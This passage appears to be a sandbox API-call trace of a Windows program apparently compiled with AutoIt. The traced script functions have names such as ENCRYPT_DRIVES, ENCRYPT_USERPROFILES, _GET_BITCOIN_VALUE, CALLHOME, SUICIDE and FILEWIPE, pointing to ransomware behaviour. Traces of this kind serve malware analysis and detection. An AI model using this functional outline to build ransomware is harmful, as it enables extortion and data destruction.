plibNewPosition=0x10f394f0f0 | out: plibNewPosition=0x10f394f0f0) returned 0x0 [0047.507] ISequentialStream:RemoteRead (in: This=0x10f3a86ab0, pv=0x10f394eea0, cb=0x4, pcbRead=0x10f394ee70 | out: pv=0x10f394eea0*=0x6b, pcbRead=0x10f394ee70*=0x4) returned 0x0 [0047.507] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10f394ed30 | out: lpSystemTimeAsFileTime=0x10f394ed30*(dwLowDateTime=0x50114921, dwHighDateTime=0x1d31057)) [0047.507] ISequentialStream:RemoteRead (in: This=0x10f3a86ab0, pv=0x10f394f108, cb=0x4, pcbRead=0x10f394ee70 | out: pv=0x10f394f108*=0xa6, pcbRead=0x10f394ee70*=0x4) returned 0x0 [0047.508] ISequentialStream:RemoteRead (in: This=0x10f3a86ab0, pv=0x10f394eeb0, cb=0x34, pcbRead=0x10f394ee70 | out: pv=0x10f394eeb0*=0xe1, pcbRead=0x10f394ee70*=0x34) returned 0x0 [0047.508] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10f394ed30 | out: lpSystemTimeAsFileTime=0x10f394ed30*(dwLowDateTime=0x50114921, dwHighDateTime=0x1d31057)) [0047.508] ISequentialStream:RemoteRead (in: This=0x10f3a86ab0, pv=0x10f394f108, cb=0x4, pcbRead=0x10f394ee70 | out: pv=0x10f394f108*=0x43, pcbRead=0x10f394ee70*=0x4) returned 0x0 [0047.508] ISequentialStream:RemoteRead (in: This=0x10f3a86ab0, pv=0x10f394f5c0, cb=0xc6, pcbRead=0x10f394ee70 | out: pv=0x10f394f5c0*=0xcd, pcbRead=0x10f394ee70*=0xc6) returned 0x0 [0047.508] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10f394ed30 | out: lpSystemTimeAsFileTime=0x10f394ed30*(dwLowDateTime=0x50114921, dwHighDateTime=0x1d31057)) [0047.508] IStream:RemoteSeek (in: This=0x10f3a86ab0, dlibMove=0x1, dwOrigin=0x1, plibNewPosition=0x10f394ee70 | out: plibNewPosition=0x10f394ee70) returned 0x0 [0047.508] ISequentialStream:RemoteRead (in: This=0x10f3a86ab0, pv=0x10f394eea8, cb=0x4, pcbRead=0x10f394ee70 | out: pv=0x10f394eea8*=0xbc, pcbRead=0x10f394ee70*=0x4) returned 0x0 [0047.508] IStream:RemoteSeek (in: This=0x10f3a86ab0, dlibMove=0x18, dwOrigin=0x1, plibNewPosition=0x10f394ee70 | out: plibNewPosition=0x10f394ee70) returned 0x0 [0047.508] ISequentialStream:RemoteRead (in: This=0x10f3a86ab0, pv=0x10f394eea0, cb=0x4, pcbRead=0x10f394ee70 | out: pv=0x10f394eea0*=0x6b, pcbRead=0x10f394ee70*=0x4) returned 0x0 [0047.508] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10f394ed30 | out: lpSystemTimeAsFileTime=0x10f394ed30*(dwLowDateTime=0x50114921, dwHighDateTime=0x1d31057)) [0047.508] ISequentialStream:RemoteRead (in: This=0x10f3a86ab0, pv=0x10f394f108, cb=0x4, pcbRead=0x10f394ee70 | out: pv=0x10f394f108*=0xaf, pcbRead=0x10f394ee70*=0x4) returned 0x0 [0047.508] ISequentialStream:RemoteRead (in: This=0x10f3a86ab0, pv=0x10f394eeb0, cb=0x26, pcbRead=0x10f394ee70 | out: pv=0x10f394eeb0*=0xe6, pcbRead=0x10f394ee70*=0x26) returned 0x0 [0047.508] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10f394ed30 | out: lpSystemTimeAsFileTime=0x10f394ed30*(dwLowDateTime=0x50114921, dwHighDateTime=0x1d31057)) [0047.508] ISequentialStream:RemoteRead (in: This=0x10f3a86ab0, pv=0x10f394f108, cb=0x4, pcbRead=0x10f394ee70 | out: pv=0x10f394f108*=0x47, pcbRead=0x10f394ee70*=0x4) returned 0x0 [0047.508] ISequentialStream:RemoteRead (in: This=0x10f3a86ab0, pv=0x10f394f5c0, cb=0xce, pcbRead=0x10f394ee70 | out: pv=0x10f394f5c0*=0xbf, pcbRead=0x10f394ee70*=0xce) returned 0x0 [0047.508] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10f394ed30 | out: lpSystemTimeAsFileTime=0x10f394ed30*(dwLowDateTime=0x50114921, dwHighDateTime=0x1d31057)) [0047.508] ISequentialStream:RemoteRead (in: This=0x10f3a86ab0, pv=0x10f394f800, cb=0x1, pcbRead=0x10f394f0f0 | out: pv=0x10f394f800*=0x1, pcbRead=0x10f394f0f0*=0x1) returned 0x0 [0047.508] ISequentialStream:RemoteRead (in: This=0x10f3a86ab0, pv=0x10f394f120, cb=0x4, pcbRead=0x10f394f0f0 | out: pv=0x10f394f120*=0x28, pcbRead=0x10f394f0f0*=0x4) returned 0x0 [0047.508] ISequentialStream:RemoteRead (in: This=0x10f3a86ab0, pv=0x10f394f120, cb=0x4, pcbRead=0x10f394f0f0 | out: pv=0x10f394f120*=0x23, pcbRead=0x10f394f0f0*=0x4) returned 0x0 [0047.508] ISequentialStream:RemoteRead (in: This=0x10f3a86ab0, pv=0x10f394f120, cb=0x4, pcbRead=0x10f394f0f0 | out: pv=0x10f394f120*=0xf4, pcbRead=0x10f394f0f0*=0x4) returned 0x0 [0047.508] IStream:RemoteSeek (in: This=0x10f3a86ab0, dlibMove=0x10, dwOrigin=0x1, plibNewPosition=0x10f394f0f0 | out: plibNewPosition=0x10f394f0f0) returned 0x0 [0047.508] ISequentialStream:RemoteRead (in: This=0x10f3a86ab0, pv=0x10f3a90ce0, cb=0x9394, pcbRead=0x10f394f0f0 | out: pv=0x10f3a90ce0*=0x6d, pcbRead=0x10f394f0f0*=0x9394) returned 0x0 [0047.508] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10f394efb0 | out: lpSystemTimeAsFileTime=0x10f394efb0*(dwLowDateTime=0x50114921, dwHighDateTime=0x1d31057)) [0047.539] IUnknown:Release (This=0x10f3a86ab0) returned 0x0 [0047.539] FreeLibrary (hLibModule=0x7ff756b50000) returned 1 [0047.539] CharUpperBuffW (in: lpsz="_FO_FILESEARCH", cchLength=0xe | out: lpsz="_FO_FILESEARCH") returned 0xe [0047.539] CharUpperBuffW (in: lpsz="_FO_FOLDERSEARCH", cchLength=0x10 | out: lpsz="_FO_FOLDERSEARCH") returned 0x10 [0047.539] CharUpperBuffW (in: lpsz="_FO_FOLDERSEARCH", cchLength=0x10 | out: lpsz="_FO_FOLDERSEARCH") returned 0x10 [0047.539] CharUpperBuffW (in: lpsz="__FO_FOLDERSEARCHMASK", cchLength=0x15 | out: lpsz="__FO_FOLDERSEARCHMASK") returned 0x15 [0047.539] CharUpperBuffW (in: lpsz="__FO_FOLDERSEARCHMASK", cchLength=0x15 | out: lpsz="__FO_FOLDERSEARCHMASK") returned 0x15 [0047.539] CharUpperBuffW (in: lpsz="__FO_FOLDERSEARCH", cchLength=0x11 | out: lpsz="__FO_FOLDERSEARCH") returned 0x11 [0047.539] CharUpperBuffW (in: lpsz="__FO_FOLDERSEARCH", cchLength=0x11 | out: lpsz="__FO_FOLDERSEARCH") returned 0x11 [0047.539] CharUpperBuffW (in: lpsz="__FO_FILESEARCHALL", cchLength=0x12 | out: lpsz="__FO_FILESEARCHALL") returned 0x12 [0047.539] CharUpperBuffW (in: lpsz="__FO_FILESEARCHALL", cchLength=0x12 | out: lpsz="__FO_FILESEARCHALL") returned 0x12 [0047.539] CharUpperBuffW (in: lpsz="__CHEXCLUDEFOLDERS", cchLength=0x12 | out: lpsz="__CHEXCLUDEFOLDERS") returned 0x12 [0047.539] CharUpperBuffW (in: lpsz="__CHEXCLUDEFOLDERS", cchLength=0x12 | out: lpsz="__CHEXCLUDEFOLDERS") returned 0x12 [0047.540] CharUpperBuffW (in: lpsz="__FO_GETLISTMASK", cchLength=0x10 | out: lpsz="__FO_GETLISTMASK") returned 0x10 [0047.540] CharUpperBuffW (in: lpsz="__FO_GETLISTMASK", cchLength=0x10 | out: lpsz="__FO_GETLISTMASK") returned 0x10 [0047.540] CharUpperBuffW (in: lpsz="__FO_FILESEARCHTYPE", cchLength=0x13 | out: lpsz="__FO_FILESEARCHTYPE") returned 0x13 [0047.540] CharUpperBuffW (in: lpsz="__FO_FILESEARCHTYPE", cchLength=0x13 | out: lpsz="__FO_FILESEARCHTYPE") returned 0x13 [0047.540] CharUpperBuffW (in: lpsz="__FO_FILESEARCHMASK", cchLength=0x13 | out: lpsz="__FO_FILESEARCHMASK") returned 0x13 [0047.540] CharUpperBuffW (in: lpsz="__FO_FILESEARCHMASK", cchLength=0x13 | out: lpsz="__FO_FILESEARCHMASK") returned 0x13 [0047.540] CharUpperBuffW (in: lpsz="__FO_USERLOCALE", cchLength=0xf | out: lpsz="__FO_USERLOCALE") returned 0xf [0047.540] CharUpperBuffW (in: lpsz="__FO_USERLOCALE", cchLength=0xf | out: lpsz="__FO_USERLOCALE") returned 0xf [0047.540] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0047.540] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0047.540] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0047.540] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0047.540] CharUpperBuffW (in: lpsz="_SENDMESSAGE", cchLength=0xc | out: lpsz="_SENDMESSAGE") returned 0xc [0047.541] CharUpperBuffW (in: lpsz="_SENDMESSAGE", cchLength=0xc | out: lpsz="_SENDMESSAGE") returned 0xc [0047.541] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0047.541] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0047.541] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0047.541] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0047.541] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0047.541] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0047.541] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0047.541] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0047.541] CharUpperBuffW (in: lpsz="_CRYPT_DECRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_DECRYPTFILE") returned 0x12 [0047.541] CharUpperBuffW (in: lpsz="_CRYPT_DECRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_DECRYPTFILE") returned 0x12 [0047.541] CharUpperBuffW (in: lpsz="_CRYPT_DECRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_DECRYPTDATA") returned 0x12 [0047.541] CharUpperBuffW (in: lpsz="_CRYPT_DECRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_DECRYPTDATA") returned 0x12 [0047.541] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0047.541] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0047.541] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0047.541] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0047.541] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0047.541] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0047.541] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0047.541] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0047.541] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0047.541] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0047.541] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0047.541] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0047.541] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0047.542] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0047.542] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0047.542] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0047.542] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0047.542] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0047.542] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0047.542] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0047.542] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0047.542] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0047.542] CharUpperBuffW (in: lpsz="START_THE_SHOW", cchLength=0xe | out: lpsz="START_THE_SHOW") returned 0xe [0047.542] CharUpperBuffW (in: lpsz="START_THE_SHOW", cchLength=0xe | out: lpsz="START_THE_SHOW") returned 0xe [0047.542] CharUpperBuffW (in: lpsz="ENCRYPT_DRIVES", cchLength=0xe | out: lpsz="ENCRYPT_DRIVES") returned 0xe [0047.542] CharUpperBuffW (in: lpsz="ENCRYPT_DRIVES", cchLength=0xe | out: lpsz="ENCRYPT_DRIVES") returned 0xe [0047.542] CharUpperBuffW (in: lpsz="DECRYPT_DRIVES", cchLength=0xe | out: lpsz="DECRYPT_DRIVES") returned 0xe [0047.542] CharUpperBuffW (in: lpsz="DECRYPT_DRIVES", cchLength=0xe | out: lpsz="DECRYPT_DRIVES") returned 0xe [0047.542] CharUpperBuffW (in: lpsz="ENCRYPT_USERPROFILES", cchLength=0x14 | out: lpsz="ENCRYPT_USERPROFILES") returned 0x14 [0047.542] CharUpperBuffW (in: lpsz="ENCRYPT_USERPROFILES", cchLength=0x14 | out: lpsz="ENCRYPT_USERPROFILES") returned 0x14 [0047.543] CharUpperBuffW (in: lpsz="DECRYPT_USERPROFILES", cchLength=0x14 | out: lpsz="DECRYPT_USERPROFILES") returned 0x14 [0047.543] CharUpperBuffW (in: lpsz="DECRYPT_USERPROFILES", cchLength=0x14 | out: lpsz="DECRYPT_USERPROFILES") returned 0x14 [0047.543] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0047.543] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0047.543] CharUpperBuffW (in: lpsz="_DECRYPT", cchLength=0x8 | out: lpsz="_DECRYPT") returned 0x8 [0047.543] CharUpperBuffW (in: lpsz="_DECRYPT", cchLength=0x8 | out: lpsz="_DECRYPT") returned 0x8 [0047.543] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0047.543] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0047.543] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0047.543] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0047.543] CharUpperBuffW (in: lpsz="_RUNCMD", cchLength=0x7 | out: lpsz="_RUNCMD") returned 0x7 [0047.543] CharUpperBuffW (in: lpsz="_RUNCMD", cchLength=0x7 | out: lpsz="_RUNCMD") returned 0x7 [0047.543] CharUpperBuffW (in: lpsz="TRUE_HOMEDRIVE", cchLength=0xe | out: lpsz="TRUE_HOMEDRIVE") returned 0xe [0047.543] CharUpperBuffW (in: lpsz="TRUE_HOMEDRIVE", cchLength=0xe | out: lpsz="TRUE_HOMEDRIVE") returned 0xe [0047.543] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.543] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.543] CharUpperBuffW (in: lpsz="RESTARTSCRIPT", cchLength=0xd | out: lpsz="RESTARTSCRIPT") returned 0xd [0047.543] CharUpperBuffW (in: lpsz="RESTARTSCRIPT", cchLength=0xd | out: lpsz="RESTARTSCRIPT") returned 0xd [0047.543] CharUpperBuffW (in: lpsz="_ASH_USERKEY_DETECT", cchLength=0x13 | out: lpsz="_ASH_USERKEY_DETECT") returned 0x13 [0047.543] CharUpperBuffW (in: lpsz="_ASH_USERKEY_DETECT", cchLength=0x13 | out: lpsz="_ASH_USERKEY_DETECT") returned 0x13 [0047.543] CharUpperBuffW (in: lpsz="SUICIDE", cchLength=0x7 | out: lpsz="SUICIDE") returned 0x7 [0047.544] CharUpperBuffW (in: lpsz="SUICIDE", cchLength=0x7 | out: lpsz="SUICIDE") returned 0x7 [0047.544] CharUpperBuffW (in: lpsz="STARTUP", cchLength=0x7 | out: lpsz="STARTUP") returned 0x7 [0047.544] CharUpperBuffW (in: lpsz="STARTUP", cchLength=0x7 | out: lpsz="STARTUP") returned 0x7 [0047.544] CharUpperBuffW (in: lpsz="PASSWORD_GENERATOR", cchLength=0x12 | out: lpsz="PASSWORD_GENERATOR") returned 0x12 [0047.544] CharUpperBuffW (in: lpsz="PASSWORD_GENERATOR", cchLength=0x12 | out: lpsz="PASSWORD_GENERATOR") returned 0x12 [0047.544] CharUpperBuffW (in: lpsz="PASTEBIN", cchLength=0x8 | out: lpsz="PASTEBIN") returned 0x8 [0047.544] CharUpperBuffW (in: lpsz="PASTEBIN", cchLength=0x8 | out: lpsz="PASTEBIN") returned 0x8 [0047.544] CharUpperBuffW (in: lpsz="_GET_BITCOIN_VALUE", cchLength=0x12 | out: lpsz="_GET_BITCOIN_VALUE") returned 0x12 [0047.544] CharUpperBuffW (in: lpsz="_GET_BITCOIN_VALUE", cchLength=0x12 | out: lpsz="_GET_BITCOIN_VALUE") returned 0x12 [0047.544] CharUpperBuffW (in: lpsz="_GUICTRLEDIT_SETLIMITTEXT", cchLength=0x19 | out: lpsz="_GUICTRLEDIT_SETLIMITTEXT") returned 0x19 [0047.544] CharUpperBuffW (in: lpsz="_GUICTRLEDIT_SETLIMITTEXT", cchLength=0x19 | out: lpsz="_GUICTRLEDIT_SETLIMITTEXT") returned 0x19 [0047.544] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0047.544] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0047.544] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0047.544] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0047.544] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILEMAPPING", cchLength=0x19 | out: lpsz="_WINAPI_CREATEFILEMAPPING") returned 0x19 [0047.544] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILEMAPPING", cchLength=0x19 | out: lpsz="_WINAPI_CREATEFILEMAPPING") returned 0x19 [0047.544] CharUpperBuffW (in: lpsz="_WINAPI_MAPVIEWOFFILE", cchLength=0x15 | out: lpsz="_WINAPI_MAPVIEWOFFILE") returned 0x15 [0047.544] CharUpperBuffW (in: lpsz="_WINAPI_MAPVIEWOFFILE", cchLength=0x15 | out: lpsz="_WINAPI_MAPVIEWOFFILE") returned 0x15 [0047.544] CharUpperBuffW (in: lpsz="_WINAPI_UNMAPVIEWOFFILE", cchLength=0x17 | out: lpsz="_WINAPI_UNMAPVIEWOFFILE") returned 0x17 [0047.544] CharUpperBuffW (in: lpsz="_WINAPI_UNMAPVIEWOFFILE", cchLength=0x17 | out: lpsz="_WINAPI_UNMAPVIEWOFFILE") returned 0x17 [0047.544] CharUpperBuffW (in: lpsz="_SINGLETON", cchLength=0xa | out: lpsz="_SINGLETON") returned 0xa [0047.544] CharUpperBuffW (in: lpsz="_SINGLETON", cchLength=0xa | out: lpsz="_SINGLETON") returned 0xa [0047.544] CharUpperBuffW (in: lpsz="_FILECOUNTLINES", cchLength=0xf | out: lpsz="_FILECOUNTLINES") returned 0xf [0047.544] CharUpperBuffW (in: lpsz="_FILECOUNTLINES", cchLength=0xf | out: lpsz="_FILECOUNTLINES") returned 0xf [0047.544] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0047.544] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0047.545] CharUpperBuffW (in: lpsz="DOMAINCHECK", cchLength=0xb | out: lpsz="DOMAINCHECK") returned 0xb [0047.545] CharUpperBuffW (in: lpsz="DOMAINCHECK", cchLength=0xb | out: lpsz="DOMAINCHECK") returned 0xb [0047.545] CharUpperBuffW (in: lpsz="_WINAPI_NETGETJOININFORMATION", cchLength=0x1d | out: lpsz="_WINAPI_NETGETJOININFORMATION") returned 0x1d [0047.545] CharUpperBuffW (in: lpsz="_WINAPI_NETGETJOININFORMATION", cchLength=0x1d | out: lpsz="_WINAPI_NETGETJOININFORMATION") returned 0x1d [0047.545] CharUpperBuffW (in: lpsz="_BUFFERSIZE", cchLength=0xb | out: lpsz="_BUFFERSIZE") returned 0xb [0047.545] CharUpperBuffW (in: lpsz="_BUFFERSIZE", cchLength=0xb | out: lpsz="_BUFFERSIZE") returned 0xb [0047.545] CharUpperBuffW (in: lpsz="CALLHOME", cchLength=0x8 | out: lpsz="CALLHOME") returned 0x8 [0047.545] CharUpperBuffW (in: lpsz="CALLHOME", cchLength=0x8 | out: lpsz="CALLHOME") returned 0x8 [0047.545] CharUpperBuffW (in: lpsz="MYERRFUNC", cchLength=0x9 | out: lpsz="MYERRFUNC") returned 0x9 [0047.545] CharUpperBuffW (in: lpsz="MYERRFUNC", cchLength=0x9 | out: lpsz="MYERRFUNC") returned 0x9 [0047.545] AllocateAndInitializeSid (in: pIdentifierAuthority=0x10f395f9b8, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x10f395f9c0 | out: pSid=0x10f395f9c0) returned 1 [0047.545] CheckTokenMembership (in: TokenHandle=0x0, SidToCheck=0x10f3bde480, IsMember=0x10f395f9b0 | out: IsMember=0x10f395f9b0) returned 1 [0047.545] GetSysColorBrush (nIndex=15) returned 0x1100074 [0047.545] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0047.545] LoadIconW (hInstance=0x7ff756b50000, lpIconName=0x63) returned 0x120215 [0047.546] LoadIconW (hInstance=0x7ff756b50000, lpIconName=0xa4) returned 0x9020f [0047.546] LoadIconW (hInstance=0x7ff756b50000, lpIconName=0xa2) returned 0x17020b [0047.547] LoadImageW (hInst=0x7ff756b50000, name=0x63, type=0x1, cx=16, cy=16, fuLoad=0x0) returned 0x2d0183 [0047.547] RegisterClassExW (param_1=0x10f395f950) returned 0xc144 [0047.547] GetSysColorBrush (nIndex=15) returned 0x1100074 [0047.547] RegisterClassExW (param_1=0x10f395f8c0) returned 0xc072 [0047.547] RegisterClipboardFormatW (lpszFormat="TaskbarCreated") returned 0xc0e7 [0047.547] InitCommonControlsEx (picce=0x10f395f928) returned 1 [0047.547] ImageList_Create (cx=16, cy=16, flags=0x21, cInitial=1, cGrow=1) returned 0x10f3aa1900 [0047.548] LoadIconW (hInstance=0x7ff756b50000, lpIconName=0xa9) returned 0x10010d [0047.548] ImageList_ReplaceIcon (himl=0x10f3aa1900, i=-1, hicon=0x10010d) returned 0 [0047.549] CreateWindowExW (dwExStyle=0x0, lpClassName="AutoIt v3", lpWindowName="AutoIt v3", dwStyle=0xcf0000, X=-2147483648, Y=-2147483648, nWidth=300, nHeight=100, hWndParent=0x0, hMenu=0x0, hInstance=0x7ff756b50000, lpParam=0x0) returned 0xa002c [0047.549] NtdllDefWindowProc_W (hWnd=0xa002c, Msg=0x24, wParam=0x0, lParam=0x10f395f3a0) returned 0x0 [0047.549] NtdllDefWindowProc_W (hWnd=0xa002c, Msg=0x81, wParam=0x0, lParam=0x10f395f350) returned 0x1 [0047.550] NtdllDefWindowProc_W (hWnd=0xa002c, Msg=0x83, wParam=0x0, lParam=0x10f395f3c0) returned 0x0 [0047.553] SetTimer (hWnd=0xa002c, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0047.553] RegisterClipboardFormatW (lpszFormat="TaskbarCreated") returned 0xc0e7 [0047.553] CreatePopupMenu () returned 0xa0093 [0047.553] CreateWindowExW (dwExStyle=0x0, lpClassName="edit", lpWindowName=0x0, dwStyle=0x50b008c4, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0xa002c, hMenu=0x1, hInstance=0x7ff756b50000, lpParam=0x0) returned 0x60216 [0047.561] NtdllDefWindowProc_W (hWnd=0xa002c, Msg=0x210, wParam=0x10001, lParam=0x60216) returned 0x0 [0047.561] ShowWindow (hWnd=0xa002c, nCmdShow=0) returned 0 [0047.561] ShowWindow (hWnd=0xa002c, nCmdShow=0) returned 0 [0047.561] Shell_NotifyIconW (dwMessage=0x0, lpData=0x10f395f5d0) returned 1 [0047.568] Shell_NotifyIconW (dwMessage=0x1, lpData=0x10f395f1d0) returned 1 [0047.568] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 1 [0047.569] TranslateMessage (lpMsg=0x10f395f7d0) returned 0 [0047.569] DispatchMessageW (lpMsg=0x10f395f7d0) returned 0x0 [0047.569] NtdllDefWindowProc_W (hWnd=0xa002c, Msg=0x31f, wParam=0x1, lParam=0x0) returned 0x0 [0047.569] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0047.569] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0047.569] CharUpperBuffW (in: lpsz="_FO_FILESEARCH", cchLength=0xe | out: lpsz="_FO_FILESEARCH") returned 0xe [0047.569] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0047.569] CharUpperBuffW (in: lpsz="_FO_FOLDERSEARCH", cchLength=0x10 | out: lpsz="_FO_FOLDERSEARCH") returned 0x10 [0047.569] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0047.569] CharUpperBuffW (in: lpsz="__FO_FOLDERSEARCHMASK", cchLength=0x15 | out: 